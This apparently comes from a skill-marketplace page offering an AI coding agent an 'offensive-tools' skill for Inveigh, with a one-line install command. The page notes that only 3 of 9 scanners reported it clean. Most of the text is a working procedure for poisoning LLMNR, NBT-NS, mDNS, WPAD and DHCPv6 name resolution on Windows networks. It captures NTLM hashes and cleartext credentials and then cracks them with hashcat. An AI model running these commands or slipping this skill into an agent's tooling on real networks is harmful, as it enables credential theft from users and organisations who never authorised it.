offensive-tools/windows/inveigh/SKILL.md
Auth/lab ref: Inveigh Windows name-resolution assessment; LLMNR/NBT-NS/mDNS/DNS exposure, NTLM evidence, relay-risk notes.
npx skillsauth add aeondave/malskill inveighInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Windows-native LLMNR/NBT-NS/mDNS/DNS poisoner — capture NTLM hashes from a Windows host.
# PowerShell version — basic poisoning and capture
Import-Module .\Inveigh.ps1
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
# C# version (InveighZero) — more features
.\Inveigh.exe
Import-Module .\Inveigh.ps1
# Enable LLMNR + NBT-NS poisoning with console output
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
# Full options
Invoke-Inveigh -IP <attacker_ip> -LLMNR Y -NBNS Y -mDNS Y -ConsoleOutput Y -FileOutput Y -OutputDir C:\temp\
Press ESC to enter interactive mode:
| Command | Description | |---------|-------------| | GET NTLMV1USERNAMES | List captured NTLMv1 users | | GET NTLMV2USERNAMES | List captured NTLMv2 users | | GET NTLMV1UNIQUE | Unique NTLMv1 hashes | | GET NTLMV2UNIQUE | Unique NTLMv2 hashes | | GET CLEARTEXT | Cleartext credentials | | HELP | Show all commands | | STOP | Stop Inveigh |
Stop-Inveigh
# Get captured hashes
Get-Inveigh -NTLMv2
Get-Inveigh -NTLMv2Unique
Get-Inveigh -Cleartext
More modern, standalone executable. Preferred for operations.
# Basic run with defaults
.\Inveigh.exe
# Specify options
.\Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y
-FileOutput Y — write hashes to disk-NBNS Y — enable NBT-NS poisoning-mDNS Y — enable mDNS poisoning-Proxy Y — enable WPAD proxy capture-MachineAccounts Y — also capture machine account hashes-DHCPv6 Y — respond to DHCPv6 requests-LLMNRv6 Y — IPv6 LLMNR poisoning-Challenge <hex> — set custom NTLM challenge (for rainbow tables)# NTLMv2 hashes (hashcat mode 5600)
hashcat -m 5600 inveigh_ntlmv2.txt /path/to/wordlist.txt
# NTLMv1 hashes (hashcat mode 5500)
hashcat -m 5500 inveigh_ntlmv1.txt /path/to/wordlist.txt
| Feature | Inveigh | Responder | |---------|---------|-----------| | Platform | Windows | Linux | | Language | C#/.NET/PowerShell | Python | | LLMNR | Yes | Yes | | NBT-NS | Yes | Yes | | mDNS | Yes | Yes | | DHCPv6 | Yes | Yes | | WPAD | Yes | Yes | | SMB relay | No (use ntlmrelayx) | No (use ntlmrelayx) | | In-memory | Yes (PS version) | No |
No bundled scripts/, references/, or assets/ are included in this skill. Use the PowerShell module help, InveighZero help output, and engagement-specific relay/cracking tooling as needed.
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.